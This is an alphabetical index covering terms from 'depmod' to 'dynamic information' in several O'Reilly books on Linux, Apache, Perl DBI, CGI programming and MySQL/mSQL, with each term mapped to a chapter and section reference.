depmod command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Depth option (XF86Config): 10.4. Configuring XFree86 (Running Linux)
deregisterDriver( ) method: 22. JDBC Reference (MySQL & mSQL)
DESC SQL statement: 3.3.4.1. Ordering data (Programming the Perl DBI)
DESCRIBE statement: 15.1. MySQL SQL (MySQL & mSQL)
description file (see make utility)
design of Linux: 1.7. Open Source and the Philosophy of Linux (Running Linux)
Desk Guide applet: 15.1. Desktop Overview (Linux in a Nutshell)
Desk variable (fvwm2): 17.13.1. Keyboard Shortcuts to Navigate the Desktop (Linux in a Nutshell)
desktop background
Enlightenment window manager settings: 15.4.9.6. Backgrounds (Linux in a Nutshell)
GNOME settings: 15.4.1.1. Background (Linux in a Nutshell)
KDE settings: 16.3.2.1. Background (Linux in a Nutshell)
desktop customizations: 1.3. Commands on Linux (Linux in a Nutshell)
desktop environments: 11. Customizing Your X Environment (Running Linux)
GNOME: 15. GNOME (Linux in a Nutshell)
KDE: 16. KDE (Linux in a Nutshell)
Desktop folder, KDE: 16.1.4. The Desktop Folder and kdelnk Files (Linux in a Nutshell)
desktop icons
adding to GNOME desktop: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
displaying on KDE desktop: 16.3.2.5. Desktop icons (Linux in a Nutshell)
movement/placement on GNOME panel: 15.4.2.3. Panel objects (Linux in a Nutshell)
desktop links
adding applications to KDE panel: 16.2.3. Adding an Application Link to the Panel (Linux in a Nutshell)
adding to KDE desktop: 16.1.3. Adding a Link to the Desktop (Linux in a Nutshell)
configuring for KDE: 16.1.4. The Desktop Folder and kdelnk Files (Linux in a Nutshell)
setting colors for: 16.3.1.2. File manager (Linux in a Nutshell)
Desktop modules, KDE: 16.3.2. Desktop (Linux in a Nutshell)
desktop pager, KDE: 16.2.1. The Desktop Pager and Window List (Linux in a Nutshell)
desktop system, GNOME: B.1.2. The Role of GNOME (Running Linux)
desktop tools, fvwm2: 17.5. A Quick Tour of the fvwm Environment (Linux in a Nutshell)
desktops, multiple (fvwm2): 17.9. Having Multiple Desktops (Linux in a Nutshell)
DeskTopSize command (fvwm): 11.2.1. Configuring fvwm (Running Linux)
DESTROY method: 4.4.2. Disconnection (Programming the Perl DBI)
6.3.4. Disconnecting, One Way or Another (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
destroy_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
destroy_pool( ): 14.6.1. Pool Functions (Apache: The Definitive Guide)
destroy_semaphore( ): 14.6.9.2. Semaphore Functions (Apache: The Definitive Guide)
destroy_sub_req( ): 14.6.15. Request-Handling Functions (Apache: The Definitive Guide)
detach command (gdb): 14.1.3. Debugging a Running Program (Running Linux)
detection parameters (hardware): 3.1.1. Booting Linux (Running Linux)
/dev directory: 3.1.2. Drives and Partitions Under Linux (Running Linux)
5.1. Running the System (Running Linux)
6.3. Device Files (Running Linux)
8.4.11. Exercising the Printer Daemon (Running Linux)
15.2.1.2. Serial device names (Running Linux)
/dev/fd# files: 3.1.2. Drives and Partitions Under Linux (Running Linux)
8.1.1.2. Backing up to floppy (Running Linux)
/dev/hda# files: 3.1.2. Drives and Partitions Under Linux (Running Linux)
6.3. Device Files (Running Linux)
/dev/lp# files: 8.4.1. Checking Printer Hardware (Running Linux)
/dev/MAKEDEV script: 6.3. Device Files (Running Linux)
/dev/mouse file: 6.3. Device Files (Running Linux)
10.4. Configuring XFree86 (Running Linux)
/dev/nrft# and /nsft# files: 8.1.1.1. Backing up to tape (Running Linux)
/dev/null file: 4.9. Saving Your Output (Running Linux)
6.3. Device Files (Running Linux)
8.2. Scheduling Jobs Using cron (Running Linux)
/dev/rft# files: 8.1.1.1. Backing up to tape (Running Linux)
/dev/sda# and /sdb# files: 3.1.2. Drives and Partitions Under Linux (Running Linux)
/dev/st# files: 8.1.1.1. Backing up to tape (Running Linux)
/dev/ttys# and ttyS# files: 8.4.1. Checking Printer Hardware (Running Linux)
/dev/zero file: 6.3. Device Files (Running Linux)
Devel-ptkdb, PerlTk debugger: 15.3.5.2. ptkdb (CGI Programming with Perl)
development, CGI programs
architectural guidelines: 16.1. Architectural Guidelines (CGI Programming with Perl)
configuration, separating from primary code: 16.1.4. Separate Configuration from Your Primary Code (CGI Programming with Perl)
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code (CGI Programming with Perl)
growth, planning for: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
relative URLs, using: 16.1.3. Use Relative URLs (CGI Programming with Perl)
scripts, number per application: 16.1.7. Number of Scripts per Application (CGI Programming with Perl)
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
submit buttons, controlling flow with: 16.1.8. Using Submit Buttons to Control Flow (CGI Programming with Perl)
coding guidelines: 16.2. Coding Guidelines (CGI Programming with Perl)
development, GNOME for: B.5. GNOME as a Development Platform (Running Linux)
development web server, sharing by developers: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
Devel::SawAmpersand module: 17.1.10. Regular Expressions (CGI Programming with Perl)
"device full" error: 3.3.3. Problems Installing the Software (Running Linux)
devices: 8.4.11. Exercising the Printer Daemon (Running Linux)
(see also /dev directory)
Alpha system support: C.5.3. Firmware/BIOS Peripheral Device Support (Running Linux)
device files: 5.1. Running the System (Running Linux)
6.3. Device Files (Running Linux)
15.2.1.2. Serial device names (Running Linux)
drivers: 3.1.2. Drives and Partitions Under Linux (Running Linux)
loading: 7.5. Loadable Device Drivers (Running Linux)
Windows and: 12. Windows Compatibility and Samba (Running Linux)
Linux/SPARC systems: F.6. Bootable Devices and Consoles (Running Linux)
virtual: 8.4.11. Exercising the Printer Daemon (Running Linux)
/dev/initrd file: 4.6. initrd: Using a RAM Disk (Linux in a Nutshell)
dexhex( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
dextract variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
df command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
DIA application: B.4. Some GNOME Applications (Running Linux)
diagnostic information: 11.2. Status (Apache: The Definitive Guide)
diagnostics, error (see error diagnostics)
dial-up PPP: 15.2. Dial-up PPP (Running Linux)
dialogs, GNOME user interface for: 15.4.7.2. Dialogs (Linux in a Nutshell)
dictionary, spelling: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
di|dif commands (CVS) (see diff command (CVS))
die( ): 4.5.1. Automatic Versus Manual Error Checking (Programming the Perl DBI)
5.5.2. CGI::Carp (CGI Programming with Perl)
5.1.2. Executing Select Statements (Programming the Perl DBI)
5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
automatic error checking: 4.5.1.2. Automatic error checking (Programming the Perl DBI)
calls, catching and sending to browser: 6.4.5.1. Embperl handler (CGI Programming with Perl)
trapping: 5.5.1.1. Trapping die (CGI Programming with Perl)
triggering 500 Internal Server Error: 15.2.4. Trap die (CGI Programming with Perl)
used with RaiseError: 6.1.4. Common Attributes (Programming the Perl DBI)
diff3 command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
diff command (CVS): 14.4.7.5. diff (Linux in a Nutshell)
diff program: 14.2.9. Patching Files (Running Linux)
Diffie-Hellman key exchange: D.1.1.3. Diffie-Hellman key exchange with authentication (Apache: The Definitive Guide)
digest authentication: 5.1. Authentication Protocol (Apache: The Definitive Guide)
5.7. Digest Authentication (Apache: The Definitive Guide)
Digest::MD5 module: 8.3.1. MD5 (CGI Programming with Perl)
digests, generating to validate input data: 8.3. Encryption (CGI Programming with Perl)
Digest::SHA1 module: 8.3.2. SHA-1 (CGI Programming with Perl)
Digital Alpha (see Alpha systems)
digital signatures: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
dip command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dir variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
DIR_COLORS files: 4.4.2. Listing Files (Running Linux)
direct memory access (DMA): 3.3.2.1. Isolating hardware problems (Running Linux)
listing channels in use: 5.6. The /proc filesystem (Running Linux)
directives, Apache: 0.3.4. Directives (Apache: The Definitive Guide)
3.6.1. MaxClients (Apache: The Definitive Guide)
actions with CGI: 4.9. Actions (Apache: The Definitive Guide)
anonymous access: 5.8.1. Anonymous (Apache: The Definitive Guide)
authentication: 5.2. Authentication Directives (Apache: The Definitive Guide)
browsers: 4.6.4. Browsers (Apache: The Definitive Guide)
caching: 9.2. Caching (Apache: The Definitive Guide)
CGI scripts: 4.3. Script Directives (Apache: The Definitive Guide)
cipher suites: 13.8.1. SSLRequiredCiphers (Apache: The Definitive Guide)
controlling virtual hosts: 3.6. Controlling Virtual Hosts on Unix (Apache: The Definitive Guide)
environment variables: 4.6. Setting Environment Variables (Apache: The Definitive Guide)
expiration: 3.15. Expirations (Apache: The Definitive Guide)
handlers: 4.8. Handlers (Apache: The Definitive Guide)
housekeeping: 3.4. Other Directives (Apache: The Definitive Guide)
HTTP response headers: 3.10. HTTP Response Headers (Apache: The Definitive Guide)
indexing: 7.1. Making Better Indexes in Apache (Apache: The Definitive Guide)
limiting application of: 3.3. Block Directives (Apache: The Definitive Guide)
5.2.5. Limit (Apache: The Definitive Guide)
logging: 11.5. Logging the Action (Apache: The Definitive Guide)
metafiles: 3.14. CERN Metafiles (Apache: The Definitive Guide)
multiple Apache copies: 3.9. Two Copies of Apache (Apache: The Definitive Guide)
overriding: 5.12. Overrides (Apache: The Definitive Guide)
proxy servers: 9.1. Proxy Directives (Apache: The Definitive Guide)
redirection: 8. Redirection (Apache: The Definitive Guide)
rewriting URLs: 8.8. Rewrite (Apache: The Definitive Guide)
SSL: 13.7. Apache-SSL's Directives (Apache: The Definitive Guide)
user information: 5.10. Automatic User Information (Apache: The Definitive Guide)
directives, cpp: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
directories: 4.4.1. Directories (Running Linux)
4.16. Important Directories (Running Linux)
CGI scripts, current working directory: 3.1. The CGI Environment (CGI Programming with Perl)
changing: 7.7. Built-in Commands (Linux in a Nutshell)
controlling access to: 5.6.1. Allow from (Apache: The Definitive Guide)
copying files into: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
copying hierarchies with tar: 7.1.4. tar Tricks (Running Linux)
creating: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
current working: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
deleting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
. (current): 4.10. What Is a Command? (Running Linux)
.. (parent): 4.4.1. Directories (Running Linux)
enabling SSI for: 6.2.1. Configuration (CGI Programming with Perl)
execute permission for: 2.4.4. Unix Permissions (Apache: The Definitive Guide)
execute permissions (CGI), turning off: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
files, listing with glob notation: 17.1.8. Avoid the Shell (CGI Programming with Perl)
fonts, specifying with FONTS_DIR constant: 13.5.4. Image Processing (CGI Programming with Perl)
GD/Graph directory: 13.4.3. GD::Graph3D (CGI Programming with Perl)
home: 5.7.1. The passwd File (Running Linux)
home directory: 8.5. UserDir (Apache: The Definitive Guide)
indexes of (see indexing)
limiting directives to: 3.3.2. <Directory> and <DirectoryMatch> (Apache: The Definitive Guide)
listing contents of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
lost+found: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
opendir function: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
organizing projects with: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
per-directory configuration: 14.3. Per-Directory Configuration (Apache: The Definitive Guide)
15.3.2. Create Per-Directory Config Structure (Apache: The Definitive Guide)
15.3.4. Per-Directory Merger (Apache: The Definitive Guide)
permissions for: 4.13.1. What Permissions Mean (Running Linux)
printer: 8.4.10.1. Setting up printer directories (Running Linux)
printing names of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
renaming: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
root: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
running all scripts in: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
site_perl directory, saving error module in: 5.5.4. Custom Module (CGI Programming with Perl)
size, calculating with dir_size subroutine: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
stacking: 7.7. Built-in Commands (Linux in a Nutshell)
upload directory, setting MAX_DIR_SIZE: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
URL paths for CGI scripts, mapping to: 2.1.1. Elements of a URL (CGI Programming with Perl)
web site: 1.1. How Does Apache Work? (Apache: The Definitive Guide)
Windows, mounting with Samba: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
world access to: 15.1.1. Application Permissions (CGI Programming with Perl)
write permission, Unix systems: 10.1.2. Write Permissions (CGI Programming with Perl)
directors file: 16.2.1.7. smail runtime configuration files (Running Linux)
directory and file structure, Apache server: 1.4. Web Server Configuration (CGI Programming with Perl)
CGI scripts, configuring by file name extensions: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
creating directory for CGI scripts: 1.4.1. Configuring CGI Scripts (CGI Programming with Perl)
directory tree on web server, separate for web developers: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
DirectoryIndex directive: 7.2.1. DirectoryIndex (Apache: The Definitive Guide)
type maps: 6.4. Type Maps (Apache: The Definitive Guide)
DirectoryIndex directive, adding to httpd.conf: 6.2.1. Configuration (CGI Programming with Perl)
dirname command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dirs command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
dirs command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
dirstack variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
disabling
caching with header method (-expires argument): 5.3.1.3. Caching (CGI Programming with Perl)
swap space: 6.2.3. Disabling Swap Space (Running Linux)
user accounts: 5.7.6. Deleting and Disabling Accounts (Running Linux)
disass command (gdb): 14.1.6.2. Instruction-level debugging (Running Linux)
disconnect( ): 4.4.2. Disconnection (Programming the Perl DBI)
5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
transaction handling: 6.3.4. Disconnecting, One Way or Another (Programming the Perl DBI)
disconnect function: 21.2. DBI.pm API (MySQL & mSQL)
disk manager (see fdisk utility)
disk navigator, KDE: 16.3.1.4. Panel (Linux in a Nutshell)
disk= option (LILO): G.1. Global Options (Running Linux)
disk paging: 1.4.3. Kernel (Running Linux)
disk space: 1.9.4. Hard Drive Space Requirements (Running Linux)
(see also hard drives)
CD-ROM and tape drive storage: 1.9.6.2. CD -ROM and DVD-ROM storage (Running Linux)
hard space geometry, specifying: 3.1.1. Booting Linux (Running Linux)
log files: 8.3. Managing System Logs (Running Linux)
multiple filesystems and: 2.2.3. Linux Partition Requirements (Running Linux)
reserving for ramdisk: 3.1.1. Booting Linux (Running Linux)
software requirements: 2.2.3. Linux Partition Requirements (Running Linux)
specifying partition size: 3.1.3. Creating Linux Partitions (Running Linux)
troubleshooting hard drives: 3.3.2.2. Problems recognizing hard drive or controller (Running Linux)
disks
booting information: 4.1. The Boot Process (Linux in a Nutshell)
copying archives to: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
formatting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
parameters: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.2.1.1. Global options (Linux in a Nutshell)
partitioning: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
space on (see memory)
usage information for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
writing filesystem buffers to: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
disktab= option (LILO): G.1. Global Options (Running Linux)
disown command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
display (see terminals)
display command (gdb): 14.1.6.2. Instruction-level debugging (Running Linux)
display scan and refresh rates: 10.4. Configuring XFree86 (Running Linux)
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code (CGI Programming with Perl)
display utility (ImageMagick): 9.4.1. ImageMagick (Running Linux)
displaying
escape sequences: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
reverse linefeeds: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
DISTINCT keyword: 15.1. MySQL SQL (MySQL & mSQL)
distributed environments: 1.1. From Mainframes to Workstations (Programming the Perl DBI)
distributing software, package for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
distributions
Linux: 1.7. Open Source and the Philosophy of Linux (Running Linux)
1.5. Sources and Licenses (Linux in a Nutshell)
2.1. Distributions of Linux (Running Linux)
installation differences: 3.1.6. Installing the Software (Running Linux)
smail and: 16.2.1. The smail Mail Transport Agent (Running Linux)
source: 7.2.3. Upgrading Other Software (Running Linux)
distributions directory (on CD-ROM): 0.2. The Demonstration CD-ROM (Apache: The Definitive Guide)
DLEINT datatype: 15.1. MySQL SQL (MySQL & mSQL)
DLLs (see shared libraries)
DMA (direct memory access): 3.3.2.1. Isolating hardware problems (Running Linux)
listing channels in use: 5.6. The /proc filesystem (Running Linux)
dma file (/proc): 5.6. The /proc filesystem (Running Linux)
DMB files: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
dmesg command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
DML (Data Manipulation Language) commands: 3.3. Querying Data (Programming the Perl DBI)
3.4. Modifying Data Within Tables (Programming the Perl DBI)
DNS (Domain Name Service): 15.1.1. TCP/IP Concepts (Running Linux)
16.2.3.1. Registering an address (Running Linux)
configuring: 15.2.1.3.3. Configuring DNS (Running Linux)
DNS (Domain Name System): 2.3.3. Name Service (Linux in a Nutshell)
DNS, reverse lookup: 3.4.17. HostNameLookups (Apache: The Definitive Guide)
dnsdomainname command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
do( ): 5.2. Executing Non-SELECT Statements (Programming the Perl DBI)
A.6.1. Database Handle Methods (Programming the Perl DBI)
vs. prepare( ): (Programming the Perl DBI) 5.5. do( ) Versus prepare( )
do( ) method: 20.1. Module: MySQL (MySQL & mSQL)
do command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
do function: 21.2. DBI.pm API (MySQL & mSQL)
do method on database handle, creating table with: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
doc file format: 12.1.5. File Translation Utilities (Running Linux)
document model (Bonobo): B.5.1.5. The Bonobo component and document model (Running Linux)
Document Object Model (DOM): 7.1.1. History (CGI Programming with Perl)
document processing: 9.3. Text and Document Processing (Running Linux)
document root (servers), separating from CGI script directory: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
document type definitions (see DTDs)
documentation: 0.1.1. Online Documentation (Linux in a Nutshell)
A. Sources of Linux Information (Running Linux)
0.1. Why People Like Linux (Running Linux)
1.10. Sources of Linux Information (Running Linux)
AddDescription directive: 7.1.6. AddDescription (Apache: The Definitive Guide)
code, standards for: 16.2. Coding Guidelines (CGI Programming with Perl)
configuring httpd: 16.1.3. Configuring Your Own WWW Server (Running Linux)
Dosemu: 12.2.3. Installing and Configuring Dosemu (Running Linux)
Elm mailer: 16.2.4.3. Elm documentation (Running Linux)
Emacs: 10.3.16. Detail Information Help Commands (Linux in a Nutshell)
9.2.3. Tutorial and Online Help (Running Linux)
headers: 7.1.12. HeaderName (Apache: The Definitive Guide)
Info (see Info pages)
info files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
LDP: A. Sources of Linux Information (Running Linux)
A.2. Linux Documentation Project Manuals (Running Linux)
0.1. Why People Like Linux (Running Linux)
0.1. Why People Like Linux (Running Linux)
1.10.2. Books and Other Published Works (Running Linux)
LILO configuration: 5.2.2.3. Specifying boot time options (Running Linux)
man pages: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
manual pages: 4.12. Manual Pages (Running Linux)
Perl: 13.4. Using Perl (Running Linux)
Perl viewer for: B.2. perldoc (CGI Programming with Perl)
printer: 8.4.2. Gathering Resources (Running Linux)
TCP/IP: 2.3. Overview of TCP/IP (Linux in a Nutshell)
15.1. Networking with TCP/IP (Running Linux)
technical support: A. Support Organizations (Apache: The Definitive Guide)
TeX: 9.3.1.3. Further reading (Running Linux)
Texinfo: 9.3.3. Texinfo (Running Linux)
vi editor: 9.1.12. Extending vi (Running Linux)
XFree86: 10.4. Configuring XFree86 (Running Linux)
DOCUMENT_NAME variable: 6.2.3. Environment Variables (CGI Programming with Perl)
DocumentRoot directive: 2.4.2.1. DocumentRoot (Apache: The Definitive Guide)
CGI scripts: 4.2.2. Script in DocumentRoot (Apache: The Definitive Guide)
documents
CGI scripts, outputting: 3.3.1.1. Outputting documents (CGI Programming with Perl)
HTML: (Running Linux) 16.1.4. Writing HTML Documents
expiration time, setting: 5.3.1.3. Caching (CGI Programming with Perl)
starting and ending: 5.3.2. Starting and Ending Documents (CGI Programming with Perl)
media types
declaring in HTTP headers: 1.2.1. Sample CGI (CGI Programming with Perl)
listing in web server response header: 1.2. Introduction to CGI (CGI Programming with Perl)
DOCUMENT_URI variable: 6.2.3. Environment Variables (CGI Programming with Perl)
dollar sign ($) pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
9.3. Metacharacters (Linux in a Nutshell)
DOM (Document Object Model): B.5.1.3. XML/DOM libraries (Running Linux)
domain name: 16.2.4.1. Preparing for installation (Running Linux)
registering: 16.2.3.1. Registering an address (Running Linux)
Domain Name Service (DNS): 15.1.1. TCP/IP Concepts (Running Linux)
16.2.3.1. Registering an address (Running Linux)
configuring: 15.2.1.3.3. Configuring DNS (Running Linux)
domain names
multiple, mapped to one IP address: 2.3.2.1. Host (CGI Programming with Perl)
remote machine, obtaining from environment variables: 1.2.1. Sample CGI (CGI Programming with Perl)
in URLs: 2.1.1. Elements of a URL (CGI Programming with Perl)
domainname command: 15.4.2. Configuring NIS (Running Linux)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
domains: 2.6.2. Domains (Linux in a Nutshell)
doPost( ) method: 14.4. A Guest Book Servlet (MySQL & mSQL)
DOS (see MS-DOS)
DOS-FAT filesystem: 6.1.1. Filesystem Types (Running Linux)
DOS window for Apache: 2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
Dosemu emulator: 12.2. Sharing Programs (Running Linux)
12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
installing and configuring: 12.2.3. Installing and Configuring Dosemu (Running Linux)
obtaining: 12.2.2. Getting Dosemu and xdos (Running Linux)
dosemu.conf file: 12.2.3. Installing and Configuring Dosemu (Running Linux)
dosfsck command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dot (.)
bash shell command: 7.7. Built-in Commands (Linux in a Nutshell)
for current directory: 4.10. What Is a Command? (Running Linux)
dot-termination of mail: 16.2.4.1. Preparing for installation (Running Linux)
.. for parent directory: 4.4.1. Directories (Running Linux)
pattern-matching metacharacter: 9.3. Metacharacters (Linux in a Nutshell)
starting filenames: 4.4.2. Listing Files (Running Linux)
for current directory: 4.10. What Is a Command? (Running Linux)
dot-termination of mail: 16.2.4.1. Preparing for installation (Running Linux)
.. for parent directory: 4.4.1. Directories (Running Linux)
starting filenames: 4.4.2. Listing Files (Running Linux)
dot clock: 10.5. Filling in Video Card Information (Running Linux)
dot-termination: 16.2.4.1. Preparing for installation (Running Linux)
.. (dot-dot) for parent directory: 4.4.2. Listing Files (Running Linux)
dotted quad notation: 15.1.1. TCP/IP Concepts (Running Linux)
double quotes: 1.2.1. Sample CGI (CGI Programming with Perl)
(see also quotes)
enclosing "here" documents in: 1.2.1. Sample CGI (CGI Programming with Perl)
escaping with backslash (\) in HTML: 5.4.1. Lots of print Statements (CGI Programming with Perl)
strings, @ character in: 13.5.4. Image Processing (CGI Programming with Perl)
DOUBLEPRECISION datatype: 15.1. MySQL SQL (MySQL & mSQL)
doublesided printing: 8.4.4. Checking Print Utilities (Running Linux)
DoubleSpace: 6.1.1. Filesystem Types (Running Linux)
doubleval( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
down command (lpc): 8.4.12. Controlling Printer Services with lpc (Running Linux)
downgrade-1.0 variable: 4.6.5.3. downgrade-1.0 (Apache: The Definitive Guide)
dpkg command (Debian): 5.2. The Debian Package Manager (Linux in a Nutshell)
5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
dpkg-deb command (Debian): 5.2. The Debian Package Manager (Linux in a Nutshell)
5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
dpkg-split command (Debian): 5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
DPMS (Display Power Management System), KDE: 16.3.2.6. DPMS (Linux in a Nutshell)
drag-and-drop (KDE): 11.3. The K Desktop Environment (Running Linux)
drawing primitives (gd): 13.3.2. Using GD (CGI Programming with Perl)
$drh driver handle: 4.2.1. Driver Handles (Programming the Perl DBI)
dritebuffer option: 16.1.2. Command line variables (MySQL & mSQL)
"Drive not bootable" error: 3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
Driver database handle attribute: A.6.2.3. Databases in which a transaction must be explicitly started (Programming the Perl DBI)
driver handles: 4.2.1. Driver Handles (Programming the Perl DBI)
Driver interface: 22. JDBC Reference (MySQL & mSQL)
driver-specific attributes: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
DriverManager interface: 14.1.1. The Database Connection (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
DriverPropertyInfo( ) method: 22. JDBC Reference (MySQL & mSQL)
DriverPropertyInfo interface: 22. JDBC Reference (MySQL & mSQL)
drivers (see device drivers)
drivers, databases: 10.4. DBI (CGI Programming with Perl)
DBD::CSV DBI driver, using: 10.4.1. Using DBI (CGI Programming with Perl)
DBD::CSV, loading: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
DBD::Oracle: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
drives: 3.1.2. Drives and Partitions Under Linux (Running Linux)
(see also disk space, hard drives)
names for: 3.1.2. Drives and Partitions Under Linux (Running Linux)
partitioning (see partitions/filesystems; repartitioning)
DriveSpace: 6.1.1. Filesystem Types (Running Linux)
drop database command: 17.1. MySQL Utilities (MySQL & mSQL)
17.2. mSQL Utilities (MySQL & mSQL)
drop DATABASENAME command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
Drop DB command: 4.4.1.4. Server status (MySQL & mSQL)
drop-down menus: 4.2.4. The <SELECT> Tag (CGI Programming with Perl)
drop option: 4.4.1.2. Database destruction (MySQL & mSQL)
5.5.1.2. Database destruction (MySQL & mSQL)
drop shadow
adding to text banner: 13.5.4. Image Processing (CGI Programming with Perl)
moving horizontally and vertically: 13.5.4. Image Processing (CGI Programming with Perl)
DROP statement: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
DROP TABLE command: 6.2. Creating and Dropping Tables (MySQL & mSQL)
dropdb function: 21.3. Msql.pm API (MySQL & mSQL)
dselect command (Debian): 5.2. The Debian Package Manager (Linux in a Nutshell)
5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
DSO (Dynamic Shared Objects): 12.12. DSO (Apache: The Definitive Guide)
dspmbyte variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
DTDs (document type definitions): 14.3. Document Type Definition (CGI Programming with Perl)
defining for data validation: 14.2. An Introduction to XML (CGI Programming with Perl)
optional nature of: 14.3. Document Type Definition (CGI Programming with Perl)
web page information on: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
du command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.9. Saving Your Output (Running Linux)
dual booting
Linux and Windows 95/98: 4.2. LILO: The Linux Loader (Linux in a Nutshell)
Linux and Windows NT/2000: 4.4. Dual Booting Linux and Windows NT/2000 (Linux in a Nutshell)
duconv utility: 12.1.5. File Translation Utilities (Running Linux)
dumpe2fs command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dump2h utility: 4.5.2.4. Programming interfaces (MySQL & mSQL)
dumping variables to browser for checking: 15.3.4. Dumping Variables (CGI Programming with Perl)
dumpkeys command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dump_results( ): 5.1.3.1. A quick way to fetch and print (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
dump_results function: 21.2. DBI.pm API (MySQL & mSQL)
dunique variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
DVD-ROM drives: 1.9.6.2. CD -ROM and DVD-ROM storage (Running Linux)
1.9.6.2. CD -ROM and DVD-ROM storage (Running Linux)
.dvi files: 9.3.1.2. Formatting and printing (Running Linux)
dynamic
linked libraries (see shared libraries)
routing information: 15.1.3.2. The networking rc files (Running Linux)
dynamic content, problems with caching: 2.5.2. Caching (CGI Programming with Perl)
dynamic database access: 14.3. Dynamic Database Access (MySQL & mSQL)
dynamic filenames, security risks: 8.5.1. Dynamic Filenames (CGI Programming with Perl)
dynamic HTML: 9.1. What Is CGI? (MySQL & mSQL)
12.1. Alternatives for Dynamic Content on the Web (MySQL & mSQL)
dynamic images, generating: 13. Creating Graphics on the Fly (CGI Programming with Perl)
dynamic images in HTML: 13.2.2. Including Dynamic Images in HTML (CGI Programming with Perl)
dynamic information, HTML documents
access counters: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
creating with SSI: 6.2. Server Side Includes (CGI Programming with Perl)
